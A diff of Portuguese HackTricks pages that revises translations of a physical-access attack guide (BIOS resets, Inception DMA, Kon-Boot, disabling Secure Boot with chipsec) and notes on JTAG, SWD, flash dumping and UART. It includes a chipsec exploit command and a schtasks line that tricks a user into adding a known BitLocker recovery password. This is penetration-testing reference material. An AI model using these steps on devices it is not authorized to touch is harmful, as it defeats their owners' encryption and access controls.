<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
- Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o repositório [hacktricks](https://github.com/carlospolop/hacktricks) e para o repositório [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
@ -24,7 +22,7 @@ A maioria das **placas-mãe** possui uma **bateria**. Se você **removê-la** po
### Jumper CMOS
A maioria das **placas-mãe** possui um **jumper** que pode reiniciar as configurações. Este jumper conecta um pino central com outro, se você **conectar esses pinos a placa-mãe será reiniciada**.
A maioria das **placas-mãe** possui um **jumper** que pode reiniciar as configurações. Este jumper conecta um pino central com outro, se você **conectar esses pinos, a placa-mãe será reiniciada**.
### Ferramentas ao Vivo
@ -33,12 +31,12 @@ Se você puder **executar**, por exemplo, um Linux **Kali** de um CD/USB ao vivo
### Recuperação de senha do BIOS online
Digite a senha do BIOS **3 vezes errada**, então o BIOS mostrará uma **mensagem de erro** e será bloqueado.\
Visite a página [https://bios-pw.org](https://bios-pw.org) e **introduza o código de erro** mostrado pelo BIOS e você pode ter sorte e obter uma **senha válida** (a **mesma pesquisa pode mostrar diferentes senhas e mais de uma pode ser válida**).
Visite a página [https://bios-pw.org](https://bios-pw.org) e **introduza o código de erro** mostrado pelo BIOS e você pode ter sorte e obter uma **senha válida** (a **mesma busca pode mostrar diferentes senhas e mais de uma pode ser válida**).
## UEFI
Para verificar as configurações do UEFI e realizar algum tipo de ataque, você deve tentar [chipsec](https://github.com/chipsec/chipsec/blob/master/chipsec-manual.pdf).\
Usando esta ferramenta, você pode facilmente desativar o Secure Boot:
Usando esta ferramenta, você poderia facilmente desativar o Secure Boot:
```
python chipsec_main.py -module exploits.secure.boot.pk
```
@ -55,7 +53,7 @@ Você deve **analisar** a memória **usando volatility**.
### [INCEPTION](https://github.com/carmaa/inception)
Inception é uma ferramenta de **manipulação de memória física** e hacking que explora DMA baseado em PCI. A ferramenta pode atacar através de **FireWire**, **Thunderbolt**, **ExpressCard**, PC Card e qualquer outra interface HW PCI/PCIe.\
**Conecte** seu computador ao computador vítima através de uma dessas **interfaces** e o **INCEPTION** tentará **patchear** a **memória física** para lhe dar **acesso**.
**Conecte** seu computador ao computador da vítima através de uma dessas **interfaces** e o **INCEPTION** tentará **patchear** a **memória física** para lhe dar **acesso**.
**Se o INCEPTION for bem-sucedido, qualquer senha introduzida será válida.**
@ -98,7 +96,7 @@ O Kon-Boot também realiza o truque **StickyKeys** para que você possa pression
* supr - BIOS
* f8 - Modo de recuperação
* _supr_ - ini do BIOS
* _supr_ - BIOS ini
* _f8_ - Modo de recuperação
* _Shift_ (após o banner do windows) - Ir para a página de login em vez de autologon (evitar autologon)
@ -129,7 +127,7 @@ Você também poderia tentar um **ataque de força bruta** usando _**Passware Ki
### Engenharia Social
Finalmente, você poderia fazer o usuário adicionar uma nova senha de recuperação fazendo-o executar como administrador:
Por fim, você poderia fazer o usuário adicionar uma nova senha de recuperação fazendo-o executar como administrador:
```bash
schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
```
@ -141,16 +139,14 @@ manage-bde -protectors -get c:
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
- Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o repositório [hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,47 +17,62 @@
# JTAG
JTAG permite realizar uma varredura de fronteira. A varredura de fronteira analisa certos circuitos, incluindo células e registradores de varredura de fronteira incorporados para cada pino.
JTAG permite realizar um boundary scan. O boundary scan analisa certos circuitos, incluindo células de boundary-scan embutidas e registros para cada pino.
O padrão JTAG define **comandos específicos para conduzir varreduras de fronteira**, incluindo os seguintes:
O padrão JTAG define **comandos específicos para a realização de boundary scans**, incluindo os seguintes:
* **BYPASS** permite testar um chip específico sem a sobrecarga de passar por outros chips.
* **SAMPLE/PRELOAD** faz uma amostra dos dados que entram e saem do dispositivo quando ele está em seu modo de funcionamento normal.
* **EXTEST** define e lê estados de pinos.
* **SAMPLE/PRELOAD** captura uma amostra dos dados que entram e saem do dispositivo quando está em seu modo de funcionamento normal.
* **EXTEST** configura e lê estados de pinos.
Também pode suportar outros comandos, como:
Ele também pode suportar outros comandos, como:
* **IDCODE** para identificar um dispositivo
* **INTEST** para testes internos do dispositivo
* **INTEST** para o teste interno do dispositivo
Você pode encontrar essas instruções ao usar uma ferramenta como o JTAGulator.
Você pode se deparar com essas instruções ao usar uma ferramenta como o JTAGulator.
## A porta de acesso ao teste
## The Test Access Port
As varreduras de fronteira incluem testes dos quatro fios da **Porta de Acesso ao Teste (TAP)**, uma porta de propósito geral que fornece **acesso ao suporte de teste JTAG** incorporado em um componente. O TAP usa os seguintes cinco sinais:
Boundary scans incluem testes do **Test Access Port (TAP)** de quatro fios, um porto de propósito geral que fornece **acesso às funções de suporte de teste JTAG** incorporadas em um componente. O TAP usa os seguintes cinco sinais:
* Entrada de relógio de teste (**TCK**) O TCK é o **relógio** que define com que frequência o controlador TAP tomará uma única ação (ou seja, saltar para o próximo estado na máquina de estados).
* Seleção de modo de teste (**TMS**) A entrada TMS controla a **máquina de estados finita**. Em cada batida do relógio, o controlador TAP JTAG do dispositivo verifica a tensão no pino TMS. Se a tensão estiver abaixo de um determinado limite, o sinal é considerado baixo e interpretado como 0, enquanto se a tensão estiver acima de um determinado limite, o sinal é considerado alto e interpretado como 1.
* Entrada de dados de teste (**TDI**) TDI é o pino que envia **dados para o chip por meio das células de varredura**. Cada fornecedor é responsável por definir o protocolo de comunicação sobre este pino, porque o JTAG não define isso.
* Saída de dados de teste (**TDO**) TDO é o pino que envia **dados para fora do chip**.
* Entrada de reset de teste (**TRST**) O reset TRST opcional redefine a máquina de estados finita **para um estado conhecido e bom**. Alternativamente, se o TMS for mantido em 1 por cinco ciclos de relógio consecutivos, ele invoca um reset, da mesma forma que o pino TRST faria, razão pela qual o TRST é opcional.
* Entrada de relógio de teste (**TCK**) O TCK é o **relógio** que define a frequência com que o controlador TAP realizará uma única ação (ou seja, avançar para o próximo estado na máquina de estados).
* Entrada de seleção de modo de teste (**TMS**) O TMS controla a **máquina de estados finitos**. A cada batida do relógio, o controlador TAP JTAG do dispositivo verifica a tensão no pino TMS. Se a tensão estiver abaixo de um certo limiar, o sinal é considerado baixo e interpretado como 0, enquanto se a tensão estiver acima de um certo limiar, o sinal é considerado alto e interpretado como 1.
* Entrada de dados de teste (**TDI**) O TDI é o pino que envia **dados para dentro do chip através das células de varredura**. Cada fornecedor é responsável por definir o protocolo de comunicação sobre este pino, porque o JTAG não define isso.
* Saída de dados de teste (**TDO**) O TDO é o pino que envia **dados para fora do chip**.
* Entrada de reset de teste (**TRST**) O TRST opcional reseta a máquina de estados finitos **para um estado conhecido como bom**. Alternativamente, se o TMS for mantido em 1 por cinco ciclos de relógio consecutivos, ele invoca um reset, da mesma forma que o pino TRST faria, razão pela qual o TRST é opcional.
Às vezes, você poderá encontrar esses pinos marcados na PCB. Em outras ocasiões, você pode precisar **encontrá-los**.
Às vezes você poderá encontrar esses pinos marcados na PCB. Em outras ocasiões, você pode precisar **encontrá-los**.
## Identificando pinos JTAG
A maneira mais rápida, mas mais cara, de detectar portas JTAG é usando o **JTAGulator**, um dispositivo criado especificamente para esse fim (embora também possa **detectar pinouts UART**).
A maneira mais rápida, mas também mais cara, de detectar portas JTAG é usando o **JTAGulator**, um dispositivo criado especificamente para esse propósito (embora ele também possa **detectar pinouts UART**).
Ele tem **24 canais** que você pode conectar aos pinos da placa. Em seguida, ele realiza um **ataque BF** de todas as combinações possíveis enviando comandos de varredura de fronteira **IDCODE** e **BYPASS**. Se receber uma resposta, ele exibe o canal correspondente a cada sinal JTAG.
Ele possui **24 canais** que você pode conectar aos pinos da placa. Em seguida, ele realiza um **ataque BF** de todas as combinações possíveis enviando comandos de boundary scan **IDCODE** e **BYPASS**. Se receber uma resposta, ele exibe o canal correspondente a cada sinal JTAG.
Uma maneira mais barata, mas muito mais lenta, de identificar pinouts JTAG é usando o [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) carregado em um microcontrolador compatível com Arduino.
Uma maneira mais barata, mas muito mais lenta, de identificar os pinouts JTAG é usando o [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) carregado em um microcontrolador compatível com Arduino.
Usando o **JTAGenum**, você primeiro **define os pinos da sonda** do dispositivo que você usará para a enumeração. Você terá que fazer referência ao diagrama de pinout do dispositivo e, em seguida, conectar esses pinos aos pontos de teste em seu dispositivo de destino.
Usando o **JTAGenum**, você primeiro **define os pinos do dispositivo de sondagem** que usará para a enumeração. Você teria que referenciar o diagrama de pinout do dispositivo e, em seguida, conectar esses pinos aos pontos de teste no seu dispositivo alvo.
Uma **terceira maneira** de identificar pinos JTAG é **inspecionando a PCB** para um dos pinouts. Em alguns casos, as PCBs podem fornecer convenientemente a **interface Tag-Connect**, que é uma indicação clara de que a placa possui um conector JTAG. Você pode ver como essa interface se parece em [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Além disso, a inspeção dos **datasheets dos chipsets na PCB** pode revelar diagramas de pinout que apontam para interfaces JTAG.
Uma **terceira maneira** de identificar pinos JTAG é **inspecionando a PCB** em busca de um dos pinouts. Em alguns casos, as PCBs podem fornecer convenientemente a **interface Tag-Connect**, o que é uma indicação clara de que a placa também possui um conector JTAG. Você pode ver como essa interface se parece em [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Além disso, inspecionar os **datasheets dos chipsets na PCB** pode revelar diagramas de pinout que apontam para interfaces JTAG.
# SDW
O SWD é um protocolo específico da ARM projetado para depuração.
SWD é um protocolo específico da ARM projetado para depuração.
A interface SWD requer **dois pinos**: um sinal bidirecional **SWDIO**, que é o equivalente aos pinos **TDI e TDO** do JTAG e um relógio, e **SWCLK**, que é o equivalente a **TCK** no JTAG. Muitos dispositivos suportam a **Porta de Depuração Serial ou JTAG (SWJ-DP)**, uma interface JTAG e SWD combinada que permite conectar uma sonda SWD ou JTAG ao alvo.
A interface SWD requer **dois pinos**: um sinal bidirecional **SWDIO**, que é o equivalente aos pinos **TDI e TDO do JTAG e um relógio**, e **SWCLK**, que é o equivalente de **TCK** no JTAG. Muitos dispositivos suportam o **Serial Wire or JTAG Debug Port (SWJ-DP)**, uma interface JTAG e SWD combinada que permite conectar uma sonda SWD ou JTAG ao alvo.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,31 @@
# Informação Básica
<details>
# Dump Flash
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
# Dump de Flash
## Bus Pirate + flashrom
![](<../../.gitbook/assets/image (201).png>)
Observe que mesmo que o PINOUT do Pirate Bus indique pinos para **MOSI** e **MISO** para se conectar ao SPI, no entanto, alguns SPIs podem indicar pinos como DI e DO. **MOSI -> DI, MISO -> DO**
Note que mesmo que o PINOUT do Bus Pirate indique pinos para **MOSI** e **MISO** para conectar ao SPI, alguns SPIs podem indicar pinos como DI e DO. **MOSI -> DI, MISO -> DO**
![](<../../.gitbook/assets/image (648) (1) (1).png>)
No Windows ou Linux, você pode usar o programa [**`flashrom`**](https://www.flashrom.org/Flashrom) para despejar o conteúdo da memória flash executando algo como:
No Windows ou Linux, você pode usar o programa [**`flashrom`**](https://www.flashrom.org/Flashrom) para fazer o dump do conteúdo da memória flash executando algo como:
```bash
# In this command we are indicating:
# -VV Verbose
@ -21,16 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,45 +1,60 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
UART é um protocolo serial, o que significa que ele transfere dados entre componentes um bit de cada vez. Em contraste, protocolos de comunicação paralela transmitem dados simultaneamente através de múltiplos canais. Protocolos seriais comuns incluem RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express e USB.
UART é um protocolo serial, o que significa que transfere dados entre componentes um bit por vez. Em contraste, protocolos de comunicação paralela transmitem dados simultaneamente através de múltiplos canais. Protocolos seriais comuns incluem RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express e USB.
Geralmente, a linha é mantida alta (em um valor lógico 1) enquanto o UART está no estado ocioso. Em seguida, para sinalizar o início de uma transferência de dados, o transmissor envia um bit de início para o receptor, durante o qual o sinal é mantido baixo (em um valor lógico 0). Em seguida, o transmissor envia cinco a oito bits de dados contendo a mensagem real, seguido por um bit de paridade opcional e um ou dois bits de parada (com um valor lógico 1), dependendo da configuração. O bit de paridade, usado para verificação de erros, é raramente visto na prática. O bit de parada (ou bits) sinaliza o fim da transmissão.
Geralmente, a linha é mantida alta (em um valor lógico 1) enquanto o UART está no estado ocioso. Então, para sinalizar o início de uma transferência de dados, o transmissor envia um bit de início para o receptor, durante o qual o sinal é mantido baixo (em um valor lógico 0). Em seguida, o transmissor envia de cinco a oito bits de dados contendo a mensagem real, seguidos por um bit de paridade opcional e um ou dois bits de parada (com um valor lógico 1), dependendo da configuração. O bit de paridade, usado para verificação de erros, é raramente visto na prática. O bit de parada (ou bits) sinaliza o fim da transmissão.
Chamamos a configuração mais comum de 8N1: oito bits de dados, sem paridade e um bit de parada. Por exemplo, se quisermos enviar o caractere C, ou 0x43 em ASCII, em uma configuração UART 8N1, enviaríamos os seguintes bits: 0 (o bit de início); 0, 1, 0, 0, 0, 0, 1, 1 (o valor de 0x43 em binário) e 0 (o bit de parada).
Chamamos a configuração mais comum de 8N1: oito bits de dados, sem paridade e um bit de parada. Por exemplo, se quiséssemos enviar o caractere C, ou 0x43 em ASCII, em uma configuração UART 8N1, enviaríamos os seguintes bits: 0 (o bit de início); 0, 1, 0, 0, 0, 0, 1, 1 (o valor de 0x43 em binário), e 1 (o bit de parada).
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
Ferramentas de hardware para se comunicar com UART:
* Adaptador USB-serial
* Adaptadores com chips CP2102 ou PL2303
* Ferramenta multipropósito como: Bus Pirate, Adafruit FT232H, Shikra ou Attify Badge
* Adaptador USB-para-serial
* Adaptadores com os chips CP2102 ou PL2303
* Ferramenta multipropósito como: Bus Pirate, o Adafruit FT232H, o Shikra ou o Attify Badge
## Identificando Portas UART
UART tem 4 portas: **TX** (Transmitir), **RX** (Receber), **Vcc** (Voltagem) e **GND** (Terra). Você pode ser capaz de encontrar 4 portas com as letras **`TX`** e **`RX`** **escritas** no PCB. Mas se não houver indicação, você pode precisar tentar encontrá-las usando um **multímetro** ou um **analisador lógico**.
UART tem 4 portas: **TX**(Transmitir), **RX**(Receber), **Vcc**(Voltagem) e **GND**(Terra). Você pode ser capaz de encontrar 4 portas com as letras **`TX`** e **`RX`** **escritas** na PCB. Mas se não houver indicação, talvez seja necessário tentar encontrá-las por conta própria usando um **multímetro** ou um **analisador lógico**.
Com um **multímetro** e o dispositivo desligado:
* Para identificar o pino **GND**, use o modo **Teste de Continuidade**, coloque a ponta de trás no terra e teste com a vermelha até ouvir um som do multímetro. Vários pinos GND podem ser encontrados no PCB, então você pode ter encontrado ou não o que pertence ao UART.
* Para identificar a porta **VCC**, configure o modo **tensão DC** e ajuste-o para 20 V de tensão. Ponta preta no terra e ponta vermelha no pino. Ligue o dispositivo. Se o multímetro medir uma tensão constante de 3,3 V ou 5 V, você encontrou o pino Vcc. Se você obtiver outras tensões, tente com outras portas.
* Para identificar a porta **TX**, modo **tensão DC** até 20 V de tensão, ponta preta no terra e ponta vermelha no pino, e ligue o dispositivo. Se você encontrar a tensão flutuando por alguns segundos e depois estabilizando no valor Vcc, provavelmente encontrou a porta TX. Isso ocorre porque, ao ligar, ele envia alguns dados de depuração.
* A **porta RX** seria a mais próxima das outras 3, tem a menor flutuação de tensão e o valor geral mais baixo de todas as portas UART.
* Para identificar o pino **GND**, use o modo **Teste de Continuidade**, coloque o cabo preto no terra e teste com o vermelho até ouvir um som do multímetro. Vários pinos GND podem ser encontrados na PCB, então você pode ter encontrado ou não o pertencente ao UART.
* Para identificar o **porta VCC**, ajuste o modo de **tensão DC** e configure para 20 V de tensão. Sonda preta no terra e sonda vermelha no pino. Ligue o dispositivo. Se o multímetro medir uma tensão constante de 3,3 V ou 5 V, você encontrou o pino Vcc. Se você obter outras tensões, tente novamente com outros portos.
* Para identificar o **porta TX**, modo de **tensão DC** até 20 V de tensão, sonda preta no terra e sonda vermelha no pino, e ligue o dispositivo. Se você encontrar a tensão flutuando por alguns segundos e depois estabilizando no valor Vcc, é provável que tenha encontrado o porta TX. Isso ocorre porque, ao ligar, ele envia alguns dados de depuração.
* O **porta RX** seria o mais próximo dos outros 3, tem a menor flutuação de tensão e o menor valor geral de todos os pinos UART.
Você pode confundir as portas TX e RX e nada acontecerá, mas se você confundir a porta GND e a porta VCC, pode danificar o circuito.
Você pode confundir os portos TX e RX e nada aconteceria, mas se confundir os portos GND e VCC, você pode queimar o circuito.
